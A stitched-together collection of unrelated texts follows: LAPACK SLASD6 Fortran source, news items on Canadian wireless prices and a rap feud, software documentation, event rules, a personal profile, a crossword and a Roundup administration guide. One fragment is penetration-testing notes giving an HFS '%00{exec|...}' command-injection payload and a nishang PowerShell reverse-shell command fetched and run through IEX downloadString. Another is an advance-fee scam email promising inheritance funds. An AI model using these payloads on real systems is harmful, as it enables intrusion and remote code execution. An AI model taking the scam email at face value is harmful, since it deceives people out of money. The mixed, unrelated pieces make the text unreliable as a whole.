SUBROUTINE SLASD6( ICOMPQ, NL, NR, SQRE, D, VF, VL, ALPHA, BETA, $ IDXQ, PERM, GIVPTR, GIVCOL, LDGCOL, GIVNUM, $ LDGNUM, POLES, DIFL, DIFR, Z, K, C, S, WORK, $ IWORK, INFO ) * * -- LAPACK auxiliary routine (version 3.1) -- * Univ. of Tennessee, Univ. of California Berkeley and NAG Ltd.. * November 2006 * * .. Scalar Arguments .. INTEGER GIVPTR, ICOMPQ, INFO, K, LDGCOL, LDGNUM, NL, $ NR, SQRE REAL ALPHA, BETA, C, S * .. * .. Array Arguments .. INTEGER GIVCOL( LDGCOL, * ), IDXQ( * ), IWORK( * ), $ PERM( * ) REAL D( * ), DIFL( * ), DIFR( * ), $ GIVNUM( LDGNUM, * ), POLES( LDGNUM, * ), $ VF( * ), VL( * ), WORK( * ), Z( * ) * .. * * Purpose * ======= * * SLASD6 computes the SVD of an updated upper bidiagonal matrix B * obtained by merging two smaller ones by appending a row. This * routine is used only for the problem which requires all singular * values and optionally singular vector matrices in factored form. * B is an N-by-M matrix with N = NL + NR + 1 and M = N + SQRE. * A related subroutine, SLASD1, handles the case in which all singular * values and singular vectors of the bidiagonal matrix are desired. * * SLASD6 computes the SVD as follows: * * ( D1(in) 0 0 0 ) * B = U(in) * ( Z1' a Z2' b ) * VT(in) * ( 0 0 D2(in) 0 ) * * = U(out) * ( D(out) 0) * VT(out) * * where Z' = (Z1' a Z2' b) = u' VT', and u is a vector of dimension M * with ALPHA and BETA in the NL+1 and NL+2 th entries and zeros * elsewhere; and the entry b is empty if SQRE = 0. * * The singular values of B can be computed using D1, D2, the first * components of all the right singular vectors of the lower block, and * the last components of all the right singular vectors of the upper * block. These components are stored and updated in VF and VL, * respectively, in SLASD6. Hence U and VT are not explicitly * referenced. * * The singular values are stored in D. The algorithm consists of two * stages: * * The first stage consists of deflating the size of the problem * when there are multiple singular values or if there is a zero * in the Z vector. For each such occurence the dimension of the * secular equation problem is reduced by one. This stage is * performed by the routine SLASD7. * * The second stage consists of calculating the updated * singular values. This is done by finding the roots of the * secular equation via the routine SLASD4 (as called by SLASD8). * This routine also updates VF and VL and computes the distances * between the updated singular values and the old singular * values. * * SLASD6 is called from SLASDA. * * Arguments * ========= * * ICOMPQ (input) INTEGER * Specifies whether singular vectors are to be computed in * factored form: * = 0: Compute singular values only. * = 1: Compute singular vectors in factored form as well. * * NL (input) INTEGER * The row dimension of the upper block. NL >= 1. * * NR (input) INTEGER * The row dimension of the lower block. NR >= 1. * * SQRE (input) INTEGER * = 0: the lower block is an NR-by-NR square matrix. * = 1: the lower block is an NR-by-(NR+1) rectangular matrix. * * The bidiagonal matrix has row dimension N = NL + NR + 1, * and column dimension M = N + SQRE. * * D (input/output) REAL array, dimension (NL+NR+1). * On entry D(1:NL,1:NL) contains the singular values of the * upper block, and D(NL+2:N) contains the singular values * of the lower block. On exit D(1:N) contains the singular * values of the modified matrix. * * VF (input/output) REAL array, dimension (M) * On entry, VF(1:NL+1) contains the first components of all * right singular vectors of the upper block; and VF(NL+2:M) * contains the first components of all right singular vectors * of the lower block. On exit, VF contains the first components * of all right singular vectors of the bidiagonal matrix. * * VL (input/output) REAL array, dimension (M) * On entry, VL(1:NL+1) contains the last components of all * right singular vectors of the upper block; and VL(NL+2:M) * contains the last components of all right singular vectors of * the lower block. On exit, VL contains the last components of * all right singular vectors of the bidiagonal matrix. * * ALPHA (input/output) REAL * Contains the diagonal element associated with the added row. * * BETA (input/output) REAL * Contains the off-diagonal element associated with the added * row. * * IDXQ (output) INTEGER array, dimension (N) * This contains the permutation which will reintegrate the * subproblem just solved back into sorted order, i.e. * D( IDXQ( I = 1, N ) ) will be in ascending order. * * PERM (output) INTEGER array, dimension ( N ) * The permutations (from deflation and sorting) to be applied * to each block. Not referenced if ICOMPQ = 0. * * GIVPTR (output) INTEGER * The number of Givens rotations which took place in this * subproblem. Not referenced if ICOMPQ = 0. * * GIVCOL (output) INTEGER array, dimension ( LDGCOL, 2 ) * Each pair of numbers indicates a pair of columns to take place * in a Givens rotation. Not referenced if ICOMPQ = 0. * * LDGCOL (input) INTEGER * leading dimension of GIVCOL, must be at least N. * * GIVNUM (output) REAL array, dimension ( LDGNUM, 2 ) * Each number indicates the C or S value to be used in the * corresponding Givens rotation. Not referenced if ICOMPQ = 0. * * LDGNUM (input) INTEGER * The leading dimension of GIVNUM and POLES, must be at least N. * * POLES (output) REAL array, dimension ( LDGNUM, 2 ) * On exit, POLES(1,*) is an array containing the new singular * values obtained from solving the secular equation, and * POLES(2,*) is an array containing the poles in the secular * equation. Not referenced if ICOMPQ = 0. * * DIFL (output) REAL array, dimension ( N ) * On exit, DIFL(I) is the distance between I-th updated * (undeflated) singular value and the I-th (undeflated) old * singular value. * * DIFR (output) REAL array, * dimension ( LDGNUM, 2 ) if ICOMPQ = 1 and * dimension ( N ) if ICOMPQ = 0. * On exit, DIFR(I, 1) is the distance between I-th updated * (undeflated) singular value and the I+1-th (undeflated) old * singular value. * * If ICOMPQ = 1, DIFR(1:K,2) is an array containing the * normalizing factors for the right singular vector matrix. * * See SLASD8 for details on DIFL and DIFR. * * Z (output) REAL array, dimension ( M ) * The first elements of this array contain the components * of the deflation-adjusted updating row vector. * * K (output) INTEGER * Contains the dimension of the non-deflated matrix, * This is the order of the related secular equation. 1 <= K <=N. * * C (output) REAL * C contains garbage if SQRE =0 and the C-value of a Givens * rotation related to the right null space if SQRE = 1. * * S (output) REAL * S contains garbage if SQRE =0 and the S-value of a Givens * rotation related to the right null space if SQRE = 1. * * WORK (workspace) REAL array, dimension ( 4 * M ) * * IWORK (workspace) INTEGER array, dimension ( 3 * N ) * * INFO (output) INTEGER * = 0: successful exit. * < 0: if INFO = -i, the i-th argument had an illegal value. * > 0: if INFO = 1, an singular value did not converge * * Further Details * =============== * * Based on contributions by * Ming Gu and Huan Ren, Computer Science Division, University of * California at Berkeley, USA * * ===================================================================== * * .. Parameters .. REAL ONE, ZERO PARAMETER ( ONE = 1.0E+0, ZERO = 0.0E+0 ) * .. * .. Local Scalars .. INTEGER I, IDX, IDXC, IDXP, ISIGMA, IVFW, IVLW, IW, M, $ N, N1, N2 REAL ORGNRM * .. * .. External Subroutines .. EXTERNAL SCOPY, SLAMRG, SLASCL, SLASD7, SLASD8, XERBLA * .. * .. Intrinsic Functions .. INTRINSIC ABS, MAX * .. * .. Executable Statements .. * * Test the input parameters. * INFO = 0 N = NL + NR + 1 M = N + SQRE * IF( ( ICOMPQ.LT.0 ) .OR. ( ICOMPQ.GT.1 ) ) THEN INFO = -1 ELSE IF( NL.LT.1 ) THEN INFO = -2 ELSE IF( NR.LT.1 ) THEN INFO = -3 ELSE IF( ( SQRE.LT.0 ) .OR. ( SQRE.GT.1 ) ) THEN INFO = -4 ELSE IF( LDGCOL.LT.N ) THEN INFO = -14 ELSE IF( LDGNUM.LT.N ) THEN INFO = -16 END IF IF( INFO.NE.0 ) THEN CALL XERBLA( 'SLASD6', -INFO ) RETURN END IF * * The following values are for bookkeeping purposes only. They are * integer pointers which indicate the portion of the workspace * used by a particular array in SLASD7 and SLASD8. * ISIGMA = 1 IW = ISIGMA + N IVFW = IW + M IVLW = IVFW + M * IDX = 1 IDXC = IDX + N IDXP = IDXC + N * * Scale. * ORGNRM = MAX( ABS( ALPHA ), ABS( BETA ) ) D( NL+1 ) = ZERO DO 10 I = 1, N IF( ABS( D( I ) ).GT.ORGNRM ) THEN ORGNRM = ABS( D( I ) ) END IF 10 CONTINUE CALL SLASCL( 'G', 0, 0, ORGNRM, ONE, N, 1, D, N, INFO ) ALPHA = ALPHA / ORGNRM BETA = BETA / ORGNRM * * Sort and Deflate singular values. * CALL SLASD7( ICOMPQ, NL, NR, SQRE, K, D, Z, WORK( IW ), VF, $ WORK( IVFW ), VL, WORK( IVLW ), ALPHA, BETA, $ WORK( ISIGMA ), IWORK( IDX ), IWORK( IDXP ), IDXQ, $ PERM, GIVPTR, GIVCOL, LDGCOL, GIVNUM, LDGNUM, C, S, $ INFO ) * * Solve Secular Equation, compute DIFL, DIFR, and update VF, VL. * CALL SLASD8( ICOMPQ, K, D, Z, VF, VL, DIFL, DIFR, LDGNUM, $ WORK( ISIGMA ), WORK( IW ), INFO ) * * Save the poles if ICOMPQ = 1. * IF( ICOMPQ.EQ.1 ) THEN CALL SCOPY( K, D, 1, POLES( 1, 1 ), 1 ) CALL SCOPY( K, WORK( ISIGMA ), 1, POLES( 1, 2 ), 1 ) END IF * * Unscale. * CALL SLASCL( 'G', 0, 0, ONE, ORGNRM, N, 1, D, N, INFO ) * * Prepare the IDXQ sorting permutation. * N1 = K N2 = N - K CALL SLAMRG( N1, N2, D, 1, -1, IDXQ ) * RETURN * * End of SLASD6 * END


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Competition bureau has plan to lower cell phone bills across Canada
In areas where the big three – Telus, Bell and Rogers – have a monopoly, prices are higher
by Katya SlepianThe Competition Bureau is asking the Canadian Radio-television and Telecommunications Commission to help small wireless carriers expand across the country.
In a Monday morning press release, the bureau said that prices for wireless plans are cheaper all-around in places where regional carriers like Freedom Mobile and Videotron offer services.
In areas where the big three – Telus, Bell and Rogers – have a monopoly, prices are higher.
“In regions with wireless disruptors, prices can be 35 to 40% lower,” the bureau said.
The bureau is recommending the CRTC pursue a “mobile virtual network operator” police where the big three would need to sell temporary access to their networks to regional carriers who plan to further expand their own networks.
“Wireless prices are significantly lower in areas of Canada where strong regional carriers compete with established national players,” said competition commisioner Matthew Boswell.
“We recommend that the CRTC introduce a policy that allows regional competitors to expand into new markets to ensure that all Canadians can benefit from lower prices, greater choice and more innovation in wireless services.”
READ MORE: CRTC launches review of cellphone financing to probe fees by telecoms


Made primarily by stopmotio
Using the winbox.js window manager library (v0.1.92) from NextApps
Licensed under the Apache 2.0 license.


Changes in<PHONE_NUMBER>2415
Built from 42496ca2c712c0c68515d69b8e7b152a932e7985
..index..
Bug 1714299 R
[Core:DOM: Networking]
Correct ORB's opaque response implementation
Bug 1715772 A
[Core:Security: PSM]
Upgrade Firefox 91 to use NSS 3.68
###########
Changes to 2 bugs - 1 fixed.


Musical Events
Band Competition (100 points)
No. of Pools: 4
No. of teams per Pool: 1
Duration: Maximum of 40 mins + 10 mins for sound check
Appreciation Trophy: Best Performer (Singer or Instrumentalist)
Other rules and regulations:
- At least one song each from eastern and western must be included in each performance
Judging Criteria:
| Originality | 15 |
| Quality of Song Selection | 15 |
| Synchronization | 30 |
| Energy and Crowd Involvement | 10 |
| Individual Skill | 30 |
Pair on Stage (40 points)
No. of Pools: 4
No. of teams per Pool: 2
Duration: Maximum of 10 mins per team
Other rules and regulations:
- Any individual can’t be a part of two teams.
- Only the two performers will be allowed on the stage throughout the performance, including
sound checks.
Judging Criteria:
| Originality | 15 |
| Quality of Song selection | 10 |
| Synchronization | 40 |
| Individual Skill | 35 |
Group Song (60 points)
No. of Pools: 4
No. of Teams per Pool: 1 (Minimum of 6 members per team)
Duration: of 10 minutes performance including 2 minutes sound check
Accompaniments:
- Harmonium
- Flute
- Acoustic Guitar
- Synthesizer
- Tabla
- Dholak
- Floor tom
- Egg triangle
- Cowbell
- Frog
Other rules and regulations:
- Each pool can have any two of the accompaniments and only one person is allowed per instrument.
Other Important aspects to be communicated to judges:
- Coordination between vocalists performance as a whole.
- More emphasis on vocals and less on accompaniments.
Judging Criteria:
| Originality | 35 |
| Quality of Song selection | 25 |
| Synchronization | 40 |


B-Tech
GITA,BBSR
- Computer Science Enginnering.
- i have completed my B-Tech with aggregate of 8.34 cgpa
Swasti Ranjan Senapati
Male
Badambadi New Lic Colony ,Badambadi, CUTTACK,Odisha,India.
+91<PHONE_NUMBER>
Hey there, I’m Swasti. I am a tech enthusiast and believe in innovation. Coding has changed my world. Learning to code gave me a problem-solving skills and a way to communicate with others on a technical level. I am an inquisitive person.My hunger for knowledge and determination to turn information into action has contributed me to most recent success. My interests are knowing the latest emerging technology and doing the project as well as making magnificent websites.I am obsessed with making things and even more obsessed with making the things better. I always believe in my karma, I feel that there is a supernatural power is present adjoining to me who help me a lot in my difficult situation. Many positive things happen to me on a daily basis. Many time I feel that "Whatever we put into the universe will come back to us".
My philosophy :
"You have a right to perform your prescribed duty, but you are not entitled to the fruits of action. Never consider yourself to be the cause of the results of your activities, and never be attached to not doing your duty".
Github Campus Expert :
As a Campus Expert I have received training and mentorship from GitHub employees,opportunities to participate in exclusive events, and supports students to grow the developer community in there colleges.I learnt public speaking, technical writing, community leadership, and software development skills.
Mozilla Club Captain :
As part of Mozilla’s mission to teach-the-web, I’ve put a lotof efforts to grow the Mozilla Clubs program across the globe, which includes helping develop local volunteer Club Captains (and Regional Coordinators) to lead the charge.My relationship with the web is very close. I have always believed that web literacy is everyone’s right. It’s not the first time that I am caring about web literacy. I have been spreading the word about it through small info-sessions that I mostly do in under-developed schools of India.
Yubika :
Team Lead at Yubika - The open and non-profit tech community for those who love to be updated. We give chance to the tech enthusiasts to directly talk with the professionals by organizing seminars and events. We love to share the knowledge. Come, be a part of it.
Frontend Developer
As a Front end developers I have used HTML, CSS, JavaScript , Jquery to code the website and web app.I writes code runs inside the user’s browser. I believe in innovation. Coding has changed my world. Learning to code gave me a problem-solving skills and a way to communicate with others on a technical level.
It's my pleasure to introduce my self..well, I'm Swasti and raised in India.
My strengths are my attitude that i like to take challenges that I CAN do it,my way of thinking that i take both success and failure in a balanced manner..
Badambadi New Lic Colony ,Badambadi, CUTTACK, Odisha, India.
+91<PHONE_NUMBER>
+91<PHONE_NUMBER>


At ATL Tutors, our technique is what sets us apart. Every child is unique, so we make sure to find the perfect tutor to deliver effective results. We utitlize a personal approach and cutting edge curriculum to connect with students and motivate them to reach their full potential. Whether it's math, science, reading, or writing, we strive to provide your child with the confidence they need to succeed!
- Katie Smith
- Josh Evans


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Tell Timemator which files you’re
working on or what applications
you use for your work.
Just drag &
drop
them into the Timemator window to
create your rules.
Once you open your working file or
application, Timemator will start the
timer for you
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will improve your workflow:
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inspiration or have a
meeting with your client.
... and many other.
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Chart
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Get an overview and compare your tracked time on a beautiful
chart. Sessions can be grouped by day or
month.
Traditional time-keeping
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module Mouse:sig
..end
Mouse and touchscreen information.
All positions are given in logical pixels, not hardware pixels (see the Theme
SCALE
variable).
val pointer_pos : Tsdl.Sdl.event -> int * int
Return the pointer current position. This works both for mouse and touchscreen.
val pos : unit -> int * int
Get current mouse position.
val window_pos : Tsdl.Sdl.window -> int * int
Return the mouse position with respect to the given window, using window position if necessary.
Tsdl.Sdl.event -> int * int
: val finger_pos : Tsdl.Sdl.event -> float * float


Lakeith Stanfield Disses Charlamagne Tha God With "Automatic" Track
by Yohance Kyles (@HUEYmixwitRILEY)The star of the upcoming movie 'The Photograph' portrays CTG as Sambo.
(AllHipHop News) Lakeith Stanfield and Charlamagne Tha God are officially in a rap beef. The Atlanta actor dropped a diss track directed at the Power 105.1 radio show host.
Stanfield fired the first shot when he posted on Instagram that The Breakfast Club and several other media outlets were "anti-black." Charlamagne responded by blasting Lakeith during his "Donkey of the Day" segment.
"Lakeith Stanfield, don't you ever fix your raggedy-ass mouth to call the author of Black Privilege - because I truly believe it is a privilege to be Black - anti-Black," stated the South Carolina native on November 14.
Two days later, Stanfield released a tune titled "Automatic" which calls out Charlamagne. The song's cover art depicts CTG as a "Black Sambo" character à la "Mantan" in Spike Lee's 2000 satirical film Bamboozled.


Dear Beneficiary, I write to inform you that the management of the RoyaL Security Finance Firm,London, has been mandated by the Central Bank of Nigeria, to effect your long outstanding inheritance funds payment of US$9,546.65 to you,without further delay. Please advice when you shall be in London to pick up your draft. Sincerely, DR PAUL JARRELL. Head/CEO RSFF,London


These tests can only be used inside the debugger and only when focused
on the current invocation. If they appear in execution_state/2
or in execution_state/1
called from outside the debugger, an
exception will be raised.
The notion of port in breakpoint handling is more general than outlined earlier in Procedure Box. Here, the following terms are used to describe a port:
call, exit(nondet), exit(det), redo, fail, exception(Exception), block, unblock
Furthermore, the atoms exit
and exception
can be
used in the port
condition (see below), to denote either of the two
exit ports and an arbitrary exception port, respectively.
port(
Port)
port(exit)
holds for both exit(det)
and
exit(nondet)
ports).
As explained earlier, the port condition for a non Call port is best placed in the action part. This is because the failure of the action part will cause the debugger to pass through the Call port silently, and to build a procedure box, even in zip mode. The following idiom is suggested for creating breakpoints at non Call ports:
add_breakpoint(Tests-[port(Port),Actions], BID).
bid(
BID)
none
if no breakpoint was
selected.)
mode(
Mode)
mode
variable, which normally
reflects the current debugger mode.
command(
Command)
command
variable, which is the
command to be executed by default, if the breakpoint is selected.
show(
Show)
show
variable, i.e. the default
show method (the method for displaying the goal in the trace message).
The last three of the above tests access the debugger action
variables. These breakpoint conditions have a different meaning
in the action part. For example, the condition mode(trace)
, if it
occurs in the tests, checks if the current debugger mode is
trace
. On the other hand, if the same term occurs within
the action part, it sets the debugger mode to trace
.
To support the querying of the action variables in the action part, the following breakpoint condition is provided:
get(
ActVar)
mode(
Mode)
,
command(
Command)
, show(
Show)
. It has this
meaning in the action part as well.
For the port
, mode
, command
and show
conditions, the condition can be replaced by its argument, if that
is not a variable. For example the condition call
can be
used instead of port(call)
. Conditions matching the terms
listed above as valid port values will be converted to a
port
condition. Similarly, any valid value for the three debugger
action variables is converted to an appropriate condition. These valid
values are described in Action Variables.


You can make simple drawings with Math-o-mir hand-drawing tools. The hand-drawing tools are found at the bottom of the Toolbox. Among others you will find simple freehand-drawing-tool, erasers, coordinate-system-drawing-tools, logarithmic and linear networks...
As soon as you choose any drawing tool, you will enter the hand-drawing mode - mouse pointer changes to a pencil shape.
Once the hand-drawing mode is active, you can draw by mouse click-and-drag action. Use following key-strokes for easier drawing:
Note that you can use quick-typing feature even while the hand-drawing mode is active - just point you mouse pointer and start typing. This is handy way to label your drawings without need to exit the hand-drawing mode.
To exit hand-drawing mode, press the Esc key or right click at empty document area.
While the drawing mode is not active (the mouse pointer has its standard shape) you can work with hand-drawings in a similar way as with text and math equations. You can touch or select more than one drawing by holding down the shift key. You can right click on drawing(s) and then group/ungroup, change line width, change size, rotate, align, or start node-edit mode. Drawings can be moved by mouse click-and-drag action. A drawing can also be copied (then carried and placed down) by clicking on it. Selected drawings can be stretched (left mouse click-and-drag on the red stretching handle) or rotated (right mouse click-and-drag on the red stretching handle).


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Request Generator
This app will generate a stream of requests against one or more HTTP Endpoints, with parameters that you specify.
Basic Usage
- Define one or more batches; each batch specifies a series of 1 or more identical GET/POST/PUT requests that will be sent.
- For each batch, select the verb, the URL, and optionally the headers to send. If the verb is PUT or POST, then you can also specify the request payload.
- Also adjust the "batch size" if you like - this is the number of identical requests to make in sequence.
- If you want to send requests of different types, you can click the + tab to add a new batch of requests, with a new verb, url, headers, payload, and batchsize.
- If you added a batch you don't want, click the X to remove the tab.
- Select the "speed factor". It goes to 11. This apples to the set of all batches.
- Batches run in sequence. So if you have two batches, with batchsize 1 and 14 respectively, each run will send one of the first request, and 14 of the second. If the speedfactor is low enough and the response rate is fast enough, the logic will sleep between runs.
- Hint: use batch 1 to POST to your /token endpoint, then extract the token, and use batch 2 to invoke a number of requests with that token.
Templates
- You can specify the initial context in JSON format in the Initial Context tab. Make sure it's valid.
- You can use handlebars expressions to inject things from the context into the URL, payload, or headers. For example suppose your context is {"client_id" : "ABC", "client_secret": "DEF"} . You can use {{client_id}} in any URL, payload, or header (name or value) to emit the value "ABC".
- There are handlebars helper functions available:
- httpbasicauth - suppose your context is {"client" : {"id":"ABC", "secret":"DEF"}} . You can use {{httpbasicauth client.id client.secret}} to produce an HTTP Basic Auth header value: the word "Basic " followed by the right base64 blob.
- random - {{random 2 20}} generates a random number between 2 and 20.
- randomItem - {{randomItem a}} selects a random item from the array a.
- randomString - {{randomString}} generates a string of length between 12 and 40, consisting of random ASCII alphanumeric characters. {{randomString 23}} generates a random string of length 23.
- weightedRandomSelect - selects a random item from the array aa using a weighted selector. Each element of the array must itself be an array of form[VALUE, WEIGHT]. For example, {{weightedRandomSelect aa}} selects "Mackerel" 10 times for every one time it selects "Sardine" if the array is [["Mackerel", 10], ["Sardine", 1]]. The value returned is the first element of the selected inner 2-element array. One application of this is to use a variety of client_ids for calls. Another option is to use it to randomly select IP addresses to insert into an X-Forwarded-For header.
- For each type of request, you can extract values from the response JSON payloads using jsonpath. Use the "Post-Response Extracts" tab to specify that. You can then employ those values via handlebars templates in the url, payload, or headers for subsequent requests.
Other Notes
- Endpoints specified need not support CORS. The electron app is not subject to the same-origin policy enforced by the browser.
- The behavior of the extraction logic is not defined or tested for responses that contain non-JSON payloads.
- You can change any of the settings - method, URL, headers, payload, extracts, batchsize, speed, - while the agent is running. But be careful; the agent won't wait for you to get everything formatted correctly in your URL or JSON payload.
- When you click "Start", this page uses LocalStorage to store your settings. Click the "JSON Configuration" tab to see or modify the configuration in JSON form. You may wish to ctrl-C copy this JSON and save it locally, or ctrl-V paste in a new configuration.
- No information is sent to any endpoint, other than the ones you specify explicitly as endpoints.
status:
--
success:
0
errors:
0
sequence TPS:
--
net TPS:
--


Across: 2. Banker's granny, 101, is trapped in raging fire! (9) 8,10. Leader of the gang chases Turner with whip (3 3) 11. A Price-Plunder! Straight up! (13) 14. Bothered about top E? (5) 15. Wobble badly, losing one second at the bend (5) 16. Rock and Roll tales (5) 19. Damien is behind Turks Head, craving for drink (6) 20. No, no! Noel may become a 1,8! (6) 21. Pay after 12 o'clock (5) 22. Northern consumer may be more tidy (6) 23. Fashionable shirt in Gulf may be too much! (6) 24. Brown has second year in plant (5) 27. Journeys in t-tears! (5) 29. The woman may be attached to flyer (5) 30. Timid Tom carries sick man round one distant college (13) 32. The man's may be hot ones! (3) 33. Plant nothing in Devon and Cornwall (3) 34. Using imperial measures next to Police HQ (2 3 4) Down: 1,8ac. A cleaner Liverpool lad? (3 3) 3. Contribution from Putin? (5) 4. Make invalid carry a book (6) 5. Customer gets £1 in US currency (6) 6. Get away from eastern duel (5) 7. Prohibit from entering pub (3) 9. Aware when parking prices account for debts (13) 10. Period for UN aerobics? (13) 12. Stubborn ex-scholars can eat badly! (9) 13. Note, blowfish may be getting smaller (9) 16. Begin graffiti? (5) 17. Nora swallows cold fruit (5) 18. Poem written, for example, in a cathedral (5) 25. Ah, plod back inside, boy! (6) 26. Throw social worker inside hut (6) 28. Reflective and timid, standing around at the wicket (5) 29. Greek hospital on the way to Rome (5) 30. Mine tip over! (3) 31. His French heir (3)


The Java Management Extensions (JMX) API is a standard API for management and monitoring.
The following packages of documentation generated by the Javadoc utility are provided for the JMX API:


First year C programming course for TrackOne and ECE students.
First year Python programming course for everyone else.
Second year course for ECE students, uses the C++ programming language.
Second year course for ECE students, C++.
A programming course that some students take.


Arts n Deco
Controlz
DoPy
DoSH
DoTA
Firewallz
Informalz
DoSM
DePP
DoVe
LSD
Bulls And Bears
Designers Anonymous
Dance
Dramatics
Hindi Tarang
Journal
Martial Arts
Movie
Music
Quiz
VFx


Colleen Skemp
Colleen is a dedicated keeper of operations and community spirit. Outside of managing tasks, budgets, and teams, Colleen actively supports her colleagues, helping them thrive and build meaningful connections in our community. She brings heart, sharp focus, and high standards to all that she does.
A former actor and preschool teacher, Colleen is a natural storyteller. Colleen has a bachelor's degree in writing from Ithaca College. She grew up in the bluffs of the Northern Mississippi River Valley in Northern Minnesota, later moving to Chicago, where she performed Shakespeare and improv. Colleen uses her communication skills, positive energy, and sense of play to craft a unique creative vision and shape CoLab Culture.
Recently, Colleen has been enjoying the digital-nomad lifestyle, having recently returned to the Hive in upstate New York after an extended stay throughout Europe. She has developed a new-found passion for writing and painting, and is committed to daily exercise and outdoor excursions. Being with groups like CoLab gives her an opportunity to find balance between work life and personal development. Her goal is to help other CoLabrs strike this balance so we can all love our lives and do our best work!!
With Colleen’s vision and diligence, internal operations and company protocols have achieved new levels of effectiveness and efficiency. Her work has been instrumental to the success of projects with Seventh Generation, ICVB, and Cornell’s CUFood. Keeping in mind her personal mission and values, she tries to infuse love into everything she does.


csacademy solutions by Yanzhan
balanced number
addition
reversed number
permutation shift
travel distance
ioi selection
removed pages
encipherment
adjacent vowels
concatenated array
red blue teams
count 4 cycles
two elevators
consecutive sum
fast typing
no repeat
refrigerator letters
grade system
open the bottles
min pairing
one letter
fill the glasses
anomalies
celsius to fahrenheit
penguin dance
plants
erase extremes
build the fence
next dance move
rectangle partition
0 sum array
spring love
water volume
online gcd
unicorns
erase value
frequent numbers
milk and bread
love story
3 divisible pairs
friday 13
bicycle rental
nested segments
douchebag parking
recursive string
matrix rotations
greatest common divisor
ricocheting balls
odd divisors
replace a
risk rolls
string concat
money machine
add and divide
maximize profit
max even subarray
minmax subarray
word permutation
attack and speed
check square
game of chance
anagrams
pokemon fights
three equal
pair swap
poisoned food
double replace
right down path
falling leaves
word ordering
monotone subarray
expected dice
flip game
two coins
dominant point
digit holes
find binary array
shoe pairs
alternant array
pokemon evolution
even subset
move the bishop
donkey paradox
divisor clique
three ones
odd divisor count
xor match
positive product subarrays
acronyms
lucky days
div 3
digit function
odd sum
processing discounts
quadrants


---
title: Maven and Redline Smalltalk
description: Instructions for including Redline Smalltalk via Maven
layout: default
---
Existing Maven Project
Maven Dependency
Add the following stanza to your dependencies section to include Redline Smalltalk in your projects.
{% highlight bash %}
st.redlineredline0.3-SNAPSHOT
{% endhighlight %}
You are now ready to work with Redline.
New Maven Project
These instructions create a new project that will use Redline Smalltalk.
Create your project using the mvn archetype generate command:
{% highlight bash %}
mvn archetype:generate
{% endhighlight %}
This is standard Maven and you can find more details on the archetype generation here.
Once you have your pom.xml generated you need to add the Repository and Dependency stanzas defined at the top of this page. Try building your project to make sure everything is ok.
{% highlight bash %}
mvn clean test
{% endhighlight %}
Maven projects typically have the following structure:
{% highlight bash %}
$ tree project
project
|-- pom.xml
`-- src
|-- main
| `-- java
| `-- com
| `-- company
| `-- project
| `-- App.java
`-- test
`-- java
`-- com
`-- company
`-- project
`-- AppTest.java
11 directories, 3 files
{% endhighlight %}
To fit in with this and not fight the tooling we suggest adding smalltalk subtrees, like this:
{% highlight bash %}
$ tree project
project
|-- pom.xml
`-- src
|-- main
| `-- java
| | `-- com
| | `-- company
| | `-- project
| | `-- App.java
| `-- smalltalk
| `-- com
| `-- company
| `-- project
| `-- MyClass.st
`-- test
| `-- java
| | `-- com
| | `-- company
| | `-- project
| | `-- AppTest.java
| `-- smalltalk
`-- com
`-- company
`-- project
`-- MyClassTest.st
{% endhighlight %}


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HFS (HttpFileServer)
%00{exec|<command>}
nishang: invoke_powersheltcp.ps1
Invoke-PowerShellTcp -Reverse -IPAddress <LHOST> -Port <LPORT>
specify full path to powershell if possible (want to make sure you invoke the right version/x64/etc)
C:\Windows\System32 contains 32bit
C:\Windows\SysWow64 still contains 32bit
C:\Windows\SysNativ for 64bit binaries
C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe
systeminfo best command forquick view of system stuff
add command to bottom of .ps1 functions to have them automatically exec after being downloaded/run with IEX().downloadString(). That way you don't have to worry about loading and then running, you just do everything with one command.


Administration Guide
Contents
What does Roundup install?
There’s two “installations” that we talk about when using Roundup:
The installation of the software and its support files. This uses the standard Python mechanism called “distutils” and thus Roundup’s core code, executable scripts and support data files are installed in Python’s directories. On Windows, this is typically:
- Scripts
<python dir>\scripts\...
- Core code
<python dir>\lib\site-packages\roundup\...
- Support files
<python dir>\share\roundup\...
and on Unix-like systems (eg. Linux):
- Scripts
<python root>/bin/...
- Core code
<python root>/lib-<python version>/site-packages/roundup/...
- Support files
<python root>/share/roundup/...
The installation of a specific tracker. When invoking the roundup-admin “inst” (and “init”) commands, you’re creating a new Roundup tracker. This installs configuration files, HTML templates, detector code and a new database. You have complete control over where this stuff goes through both choosing your “tracker home” and the main -> database variable in the tracker’s config.ini.
Configuring Roundup’s Logging of Messages For Sysadmins
You may configure where Roundup logs messages in your tracker’s config.ini file. Roundup will use the standard Python (2.3+) logging implementation.
- Configuration for standard “logging” module:
- tracker configuration file specifies the location of a logging configration file as logging -> config
- roundup-server specifies the location of a logging configuration file on the command line
- Configuration for “BasicLogging” implementation:
- tracker configuration file specifies the location of a log file logging -> filename
- tracker configuration file specifies the level to log to as logging -> level
- roundup-server specifies the location of a log file on the command line
- roundup-server specifies the level to log to on the command line
(roundup-mailgw always logs to the tracker’s log file)
In both cases, if no logfile is specified then logging will simply be sent to sys.stderr with only logging of ERROR messages.
Configuring roundup-server
The basic configuration file layout is as follows (take from the roundup-server.ini.example file in the “doc” directory):
[main]
port = 8080
;host =
;user =
;group =
;log_ip = yes
;pidfile =
;logfile =
;template =
;ssl = no
;pem =
[trackers]
; Add one of these per tracker being served
name = /path/to/tracker/name
Values “;commented out” are optional. The meaning of the various options are as follows:
- port
- Defines the local TCP port to listen for clients on.
- host
- Defines the hostname or IP number to listen for clients on. Only required if localhost is not sufficient. If left empty (as opposed to no host keyword in the config-file) this will listen to all network interfaces and is equivalent to an explicit address <IP_ADDRESS>. The use of an empty string to listen to all interfaces is deprecated and will go away in a future version.
- user and group
- Defines the Unix user and group to run the server as. Only work if the server is started as root.
- log_ip
- If yes then we log IP addresses against accesses. If no then we log the hostname of the client. The latter can be much slower.
- pidfile
- If specified, the server will fork at startup and write its new PID to the file.
- logfile
- Any unhandled exception messages or other output from Roundup will be written to this file. It must be specified if pidfile is specified. If per-tracker logging is specified, then very little will be written to this file.
- template
- Specifies a template used for displaying the tracker index when multiple trackers are being used. The variable “trackers” is available to the template and is a dict of all configured trackers.
- ssl
- Enables the use of SSL to secure the connection to the roundup-server. If you enable this, ensure that your tracker’s config.ini specifies an https URL.
- pem
- If specified, the SSL PEM file containing the private key and certificate. If not specified, roundup will generate a temporary, self-signed certificate for use.
- trackers section
